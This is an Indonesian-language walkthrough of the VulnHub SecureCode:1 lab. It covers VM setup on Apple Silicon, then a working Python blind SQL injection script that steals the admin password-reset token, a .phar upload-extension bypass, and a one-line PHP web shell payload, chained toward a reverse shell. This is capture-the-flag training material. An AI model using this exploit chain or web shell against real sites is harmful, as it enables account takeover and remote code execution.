Download mesin dari https://vulnhub.com/entry/securecode-1,651/
Compile x86_64 to Apple Silicon#
install qemu#
Install qemu
1
2
| $ brew install qemu
$ qemu-system-x86_64 --version
|

convert OVA to QCOW2#
Lakukan ekstrak file
1
| $ tar -xvf SecureCode1.ova
|

Lalu convert file vmdk ke qcow2
1
| $ qemu-img convert -O qcow2 SecureCode1-disk1.vmdk SecureCode1-disk1.qcow2
|
virtualization using UTM#
Download dari https://getutm.app/ atau dari https://github.com/utmapp/UTM/releases kemudian pilih emulate
Lalu bagian
1
2
3
4
| 'Operating System' pilih 'Other'
'Hardware' pilih 'x86_x64'
'Memory' set default '4096'
'Boot Device' set ke 'None'
|
Setelah selesai create, lakukan ‘Edit’ lalu masuk ke
1
2
| section 'Drives' lalu 'Delete' bawaan 'IDE Drive' dan 'New' pilih 'Import' file QCOW2 yang sudah diconvert
section 'QEMU' pilih unchecklist 'UEFI Boot'
|
Blind SQL injection leads to account takeover#
Lakukan directory scanning didapatkan file source code zip
1
2
3
4
5
6
7
8
9
10
| $ feroxbuster --url http://192.168.64.2/ -k --depth 1 --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -x zip
..
..
200 GET 524l 985w 12155c http://192.168.64.2/asset/css/main.css
200 GET 1l 182w 6017c http://192.168.64.2/asset/vendor/countdowntime/moment-timezone.min.js
200 GET 103l 251w 3650c http://192.168.64.2/
301 GET 9l 28w 312c http://192.168.64.2/asset => http://192.168.64.2/asset/
200 GET 13371l 79598w 6529385c http://192.168.64.2/source_code.zip
..
..
|
lakukan ekstract didapatkan source code
Setelah dilakukan pengecekan path routing tidak ada mapping dari routing, pengecekan selanjutnya bahwa jika endpoint authenticated terdapat
1
| include "../include/isAuthenticated.php";
|
Kemudian melakukan mapping unathenticated endpoint didapatkan

Endpoint /login tidak ada pengecekan isAuthenticated, kemudian melakukan pengecekan pada /login/resetPassword.php fungsi generateToken dan user input didapatan ada sanitasi.
1
2
3
4
5
6
7
8
9
10
11
12
13
| [resetPassword.php]
$username = mysqli_real_escape_string($conn, @$_POST['username']);
..
..
function generateToken(){
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < 15; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
|
Selanjutnya pada /item/viewItem.php tidak ada pengecekan isAuthenticated.php yang berati unauthenticated endpoint dan juga vulnerable sql injection

Berdasarkan code, kondisi true didapatkan 404

Kondisi false didapatkan 302

Pada db.sql didapatkan tabel user dan juga column token, skenarionya adalah melakukan reset password admin lalu ambil tokennya untuk change password.

Script untuk fetch token
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| def send_sqli_request(ip, inj_str, j):
target = "http://%s/item/viewItem.php?id=%s" % (ip, inj_str.replace("[CHAR]", str(j)))
r = requests.get(target)
true = r.status_code == 404
if true:
return chr(j)
return ""
def inject(r, inj, ip):
extracted = ""
for i in range(1, r):
injection_string = "1 AND (ASCII(SUBSTRING((%s),%d,1)))=[CHAR]" % (inj,i)
with concurrent.futures.ThreadPoolExecutor(max_workers=94) as executor:
threads = executor.map(partial(send_sqli_request, ip, injection_string), list(range(32, 126)))
retrieved_value = ""
for extracted_char in threads: # map method puts inject() results in a sequential order
retrieved_value += extracted_char # into the threads list
if(retrieved_value):
extracted += retrieved_value
sys.stdout.write(extracted_char)
sys.stdout.write(retrieved_value)
sys.stdout.flush()
else:
print ("\b")
break
return extracted
def main():
if len(sys.argv) != 2:
print(("(+) usage: %s <target>") % sys.argv[0])
print(('(+) eg: %s 192.168.121.103') % sys.argv[0])
sys.exit(-1)
ip = sys.argv[1]
def fetchToken():
for i in range(0,1):
queryToken = "SELECT token FROM user WHERE id_level=1 LIMIT %d,1" % i
return inject(50, queryToken, ip)
|
Pada source code untuk change password akses
1
| http://192.168.64.2/login/doResetPassword.php?token=
|

Login didapatkan berhasil, ambil flag

Bypass file upload extensions leads to remote code execution#
Karena hanya 4 menu, setelah dilakukan analisis via web didapatkan ada file upload pada menu item, yaitu add item dan edit item.
Pada edit item menggunakan updateItem.php
1
| http://192.168.64.2/item/editItem.php?id=1
|

Kemudian pada source didapatkan ada blacklist extension, berdasarkan dari blacklist kemungkinan yang lolos adalah
1
| php7,pht,phps,inc,phar, dan pgif
|

Setelah dicoba semua extension, phar didapatkan berhasil.
payload phar
1
| <?php echo "Shell";system($_GET['cmd']); ?>
|

OSWE STYLE#
Penulis mengadaptasi pada OSWE dimana hanya satu script dijalankan akan eksploitasi satu mesin.

Secara flow source code didapatkan sebagai berikut:
1
2
3
| 1. request forgot password to generate token for admin
2. fetch token to bypass authentication using blind sql injection
3. upload phar to get webshell and reverse shell
|

Untuk script akses disini